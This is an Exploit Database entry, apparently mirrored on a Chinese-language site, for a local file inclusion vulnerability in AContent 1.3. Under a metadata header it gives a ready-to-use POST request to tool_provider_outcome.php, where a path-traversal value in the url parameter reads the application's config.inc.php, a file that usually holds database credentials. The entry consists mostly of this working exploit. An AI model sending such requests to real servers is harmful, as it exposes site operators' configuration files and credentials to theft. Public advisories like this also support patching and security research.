AContent 1.3 – Local File Inclusion

• Exploit Database
• 7 阅读

• 作者： DaOne
  日期： 2013-03-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24869/

• ##########################################
  [~] Exploit Title: AContent 1.3 Local File Inclusion
  [~] Date: 21-03-2013
  [~] Author: DaOne
  [~] Vendor Homepage: http://atutor.ca/acontent/
  [~] Software Link: https://sourceforge.net/projects/acontent/files/AContent-1.3.tar.gz/download
  [~] Category: webapps/php
  [~] Version: 1.3
  [~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
  ##########################################
  
  # Exploit
  POST http://localhost/AContent/oauth/lti/common/tool_provider_outcome.php HTTP /1.1
  
  grade=1&key=1&secret=secret&sourcedid=1&submit=Send%20Grade&url=../../../include/config.inc.php
  
  -end-